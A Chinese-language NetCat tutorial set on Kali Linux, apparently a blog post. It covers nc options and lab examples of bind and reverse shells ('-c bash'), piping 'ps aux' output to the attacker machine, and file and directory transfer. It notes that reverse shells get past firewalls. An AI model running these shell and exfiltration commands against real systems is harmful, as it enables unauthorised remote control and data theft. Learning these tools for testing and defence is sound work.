工具录
- 1:NetCat
- 2:选项介绍
- 3:示例
- 3.1:正向连接(被动连接)
- 3.2:反向连接(主动连接)
- 3.3:信息收集
- 3.4:文件传输
 
- 4:其他
本文以 kali-linux-2023.3-vmware-amd64 为例。
1:NetCat
NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。
功能描述:
- 网络工具中的瑞士军刀
- 侦听模式 / 传输模式
- 传输文本信息
- 传输文件/目录
- 远程控制/木马
- 流媒体服务器
- 远程克隆硬盘
nc 缺乏加密和身份验证的能力。
不同系统或平台的 NetCat 命令不尽相同。
基本语法:
 nc [选项]
2:选项介绍
选项总览:
┌──(root㉿kali)-[~]
└─# nc -h                  
[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:-c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]-e filename             program to exec after connect [dangerous!!]-b                      allow broadcasts-g gateway              source-routing hop point[s], up to 8-G num                  source-routing pointer: 4, 8, 12, ...-h                      this cruft-i secs                 delay interval for lines sent, ports scanned-k                      set keepalive option on socket-l                      listen mode, for inbound connects-n                      numeric-only IP addresses, no DNS-o file                 hex dump of traffic-p port                 local port number-r                      randomize local and remote ports-q secs                 quit after EOF on stdin and delay of secs-s addr                 local source address-T tos                  set Type Of Service-t                      answer TELNET negotiation-u                      UDP mode-v                      verbose [use twice to be more verbose]-w secs                 timeout for connects and final net reads-C                      Send CRLF as line-ending-z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
部分选项:
| 参数 | 说明 | 
|---|---|
| -q | 程序会从标准输入(stdin)中读取,一旦读取到输入流的末尾(EOF),它会等待一段指定的时间(secs)后退出。 | 
3:示例
3.1:正向连接(被动连接)
示例 3.1-1:正向连接,仅限于文本消息传输,无法使用命令。Server 开启端口后被 kali 连接。
# 1、Server(192.168.8.133):
nc -lnv -p 6666# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666
示例 3.1-2:正向连接,可使用命令行。Server 开放自己的 bash shell,被 kali 连接。
# 1、Server(192.168.8.133):
nc -lnv -p 6666 -c bash# 2、kali(192.168.8.128):
nc -nv 192.168.8.133 6666
如果是 Windows 下 bash 换成 cmd。
3.2:反向连接(主动连接)
示例 3.2-1:反向连接,可使用命令行。kali 开启端口监听后,Server 主动连接 kali,并开放自己的 bash shell。
# 1、kali(192.168.8.128):
nc -lnvp 6666# 2、Server(192.168.8.133):
nc 192.168.8.128 6666 -c bash
因为防火墙的存在,通常反向连接(主动连接)比较常用,让目标机主动发送 shell。
3.3:信息收集
示例 3.3-1:使用反向连接,Server 上 ps aux 的结果会被保存到 kali 上的 test.txt。且完成后一秒自动断开连接。
# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/test.txt# 2、Server(192.168.8.133):
ps aux | nc -nv 192.168.8.128 6666 -q 1
3.4:文件传输
示例3.4.1:使用反向连接,将 Server 上的 2.txt 文件传输到 kali 并被保存为 1.txt。
# 1、kali(192.168.8.128):
nc -lnvp 6666 > /root/Desktop/1.txt# 2、Server(192.168.8.133):
nc -nv 192.168.8.128 6666 < 2.txt -q 1
示例3.4.2:使用正向连接,将 Server 上的 ./test/ 目录传输到 kali 上。
# 1、Server(192.168.8.133):
tar -cvf - ./test/ | nc -lnvp 6666 -q 1# 2、kali(192.168.8.128):
nc -nv 192.168.8.132 6666 | tar -xvf - -C /root/Desktop/
4:其他
《netcat 使用教程》:
 https://blog.csdn.net/qq_46137954/article/details/127478494
《瑞士军刀 Netcat》:
 https://blog.csdn.net/qq_63844103/article/details/127681824
年年岁岁花相似,岁岁年年人不同。
——《白头吟》(唐)刘希夷